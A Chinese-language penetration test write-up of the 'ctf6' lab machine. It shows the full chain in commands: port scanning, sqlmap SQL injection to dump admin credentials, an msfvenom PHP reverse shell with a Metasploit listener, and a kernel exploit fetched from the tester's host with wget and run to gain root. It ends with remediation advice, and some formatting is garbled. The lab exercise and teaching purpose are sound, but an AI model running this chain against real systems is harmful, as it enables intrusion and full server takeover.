ctf6 靶机渗透测试

渗透测试报告(完整版)

测试目标192.168.5.134(Widgets Inc. 网站)测试时间:2026 年 01 月 18 日测试人员:渗透测试工程师

一、信息收集

  1. 主机发现与端口扫描

  • 主机发现:使用 arp-scan 发现目标主机:
    • img
1
arp-scan -l
  • 结果:192.168.5.134(MAC: 00:0c:29:62:79:f3,VMware 虚拟机)。
  • 端口****扫描:使用 nmap 进行全端口扫描:

img

1
nmap -sV -sC -p- 192.168.5.134
  • 开放端口及服务:
端口 服务 版本
22/tcp SSH OpenSSH 4.3
80/tcp HTTP Apache httpd 2.2.3 (CentOS)
110/tcp POP3 Dovecot pop3d
111/tcp RPCbind 2 (RPC #100000)
143/tcp IMAP Dovecot imapd
3306/tcp MySQL MySQL 5.0.45
993/tcp SSL/IMAP Dovecot imapd
995/tcp SSL/POP3 Dovecot pop3d
  1. 网站技术栈探测

  • 通过 sqlmap 进一步确认:
    • 操作系统:Linux CentOS 5
    • Web 服务器:Apache 2.2.3
    • 后端语言:PHP 5.2.6
    • 数据库:MySQL 5.0.12
  • 网站功能:首页、登录、事件管理、用户管理等模块。

二、漏洞发现与利用

  1. SQL 注入漏洞(i``ndex.php?id

img

  • 漏洞验证:对 http://192.168.5.134/index.php?id=4 进行测试,sqlmap 检测到 布尔盲注时间盲注UNION 查询注入
1
sqlmap -u http://192.168.5.134/index.php?id=4
  • 确认 id 参数存在注入,支持 7 列 UNION 查询。

  • 数据提取

    • 列出所有数据库:

    • sqlmap -u http://192.168.5.134/index.php?id=4 -dbs
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13

      - ![img](https://pcnm3h7ebxgf.feishu.cn/space/api/box/stream/download/asynccode/?code=MjE5NDZjNTVhZjVjMjc0ZTU5M2ZiZmFkYWU0YTVkODJfVGh3M3lTRFhMRndIUk9rYXV4M2pOQ0xSZXc0NnF0eFpfVG9rZW46R3BtemI4ZUFnb1gyVVZ4a3VCRWNGeDRWbkFnXzE3NzM5MTcxOTc6MTc3MzkyMDc5N19WNA)

      - ![img](https://pcnm3h7ebxgf.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTAxNWQzNzVmNmU1MDViNGUxZDgzN2U4ZGFlMTA3MjVfa3NkdEx2UFUxcFZGVUhaWUV4ekgyM01mRk41RkNROHBfVG9rZW46RGgzS2J4V1Zxb2ZJYUd4cjJ0S2N3bFFsbldkXzE3NzM5MTcxOTc6MTc3MzkyMDc5N19WNA)

      - 结果:`cms`、`information_sc``hema`、`mysql`、`roundcube`。

      - 列出 `cms` 库中的表:

      - ![img](https://pcnm3h7ebxgf.feishu.cn/space/api/box/stream/download/asynccode/?code=NTY4ODNhZjhhYTNkMDIyNGU3YmVjNTYxZDE0YTg5MjhfMlp4eVh2MVJOZktjUlp1Q0xpdWRKZWRKQWVoU01SQWpfVG9rZW46V2phaWJFOWlnbzdpRnJ4MjFlaWNKWGFkbmllXzE3NzM5MTcxOTc6MTc3MzkyMDc5N19WNA)

      - ```Plain
      sqlmap -u http://192.168.5.134/index.php?id=4 -D cms -tables
    • 结果:eventloguser

    • 导出 user 表数据:

    • img

    • img

    • sqlmap -u http://192.168.5.134/index.php?id=4 -D cms -T user -dump
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23

      - 结果:

      - | user_id | user_password | user_username |
      | ------- | -------------------------------------------- | ------------- |
      | 1 | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) | admin |

      1. ### 后台登录与文件上传

      - **登录后台**:使用 `admin:adminpass` 登录 `/login.php`,进入事件管理页面。

      ![img](https://pcnm3h7ebxgf.feishu.cn/space/api/box/stream/download/asynccode/?code=MzZlMTkxMzI2MWUzNjhmZDFmZTJmMTNiZjUyY2E4NGVfdnFkcnl1UjJOQkMxQURNWUpXR3dYWGs0d212Umg5bVhfVG9rZW46TUVNTmJBSXRBb0U1SVV4RjRQZmNSTk5BbnlnXzE3NzM5MTcxOTc6MTc3MzkyMDc5N19WNA)

      - **文件上传漏洞**:在 “Add a New Event” 页面存在未校验的文件上传功能。

      ![img](https://pcnm3h7ebxgf.feishu.cn/space/api/box/stream/download/asynccode/?code=YzVkZGU4MTNhYTU2MTAxZDlhZjFhNTYyZjVmYTYyMWJfb1JpWWRFejBOZXZHMERVUTF4M25YMlpWTkN4NU5talRfVG9rZW46TGcxZGI4ZEhVb1RRWGl4Qk41NGNOTjI0bmdsXzE3NzM5MTcxOTc6MTc3MzkyMDc5N19WNA)

      - **生成恶意文件**:

      ![img](https://pcnm3h7ebxgf.feishu.cn/space/api/box/stream/download/asynccode/?code=NGIyYzc1ZDA4YzViYmNiNGNhOWFhMmMwZWRlMjYyNDZfZEx2WWRIa1RyQ2Y0TjUwZXZXNUd5ZGlmdDJSMlNwN09fVG9rZW46RTlnYmJjdklRb29uV2R4SWs1YWNwNjlIbnp4XzE3NzM5MTcxOTc6MTc3MzkyMDc5N19WNA)

      ```Plain
      msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.5.134 lport=4444 -o shell.php
  • 上传并触发:上传 shell.php,访问 ``http://192.168.5.134/index.php?id=23 触发反向连接。

img

  1. 反向 Shell 与权限提升

  • 获取 Meterpreter Shell:在 Metasploit 中监听:

img

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 192.168.5.134
set LPORT 4444
run
  • 成功获取 apache 用户权限的 Meterpreter 会话。

  • 本地提权

    • 切换到交互式 Shell:

    • img

    • meterpreter > shell
      python -c 'import pty;pty.spawn("/bin/bash")'
      
    • 普通的提权行不通

    • 使用内核提权

    • 使用 uname -a 获取内核版本

    • img

    • 识别 CentOS 5 内核漏洞:

    • 使用 searchsploit Linux 2.6 不要太过于详细,以免扫不到

    • 得到几个可以使用的漏洞

    • 使用这个,上面那个应该也可以但是当时没有找到需要的进程号 pid

    • img

    • 使用 locate linux/local/8572.c 获取脚本位置 使用 cp /usr/share/exploitdb/exploits/linux/local/8572.c ./保存到当前目录

    • img

    • 使用 python -m http.server 8888 开启一个 HTTP 服务,把脚本传到靶机上去

    • img

    • 在靶机上使用 wget http//192.168.5.130:8888/8478.sh 获取文件

    • img

    • 使用 chmod +x 8478.sh 给文件赋予更高的权限

    • img

    • 使用 cat /proc/net/netlink 再找一个权限高的进程号去执行它

    • img

    • 最终使用 ./8478.sh 567 执行 再用 id 查看是否提权成功

    • img

    • 结果:uid=0(root) gid=0(root) groups=48(apache),成功获取 root 权限

    • 4 xss

    • 刚刚文件上传的地方可以上传有 xss 恶意代码的文件,然后访问,就会执行

三、安全建议

  1. 修复 SQL 注入
    1. 对所有用户输入使用参数化查询,禁止直接拼接 SQL 语句。
    2. 部署 Web 应用防火墙(WAF)拦截恶意注入请求。
  2. 加固文件上传
    1. 校验文件类型、后缀和内容,对上传文件重命名并存储在非 Web 可执行目录。
    2. 配置 Apache 禁止在上传目录执行脚本。
  3. 系统与软件升级
    1. 升级 CentOS 5 至 CentOS 7/8,安装最新安全补丁。
    2. 升级 PHP 5.2.6 → PHP 7.4+,MySQL 5.0 → MySQL 8.0,Apache 2.2 → Apache 2.4。
  4. 权限管理
    1. 以低权限用户运行 Web 服务,避免 rootapache 高权限运行。
    2. 定期审计服务器账号和文件权限,清理冗余权限。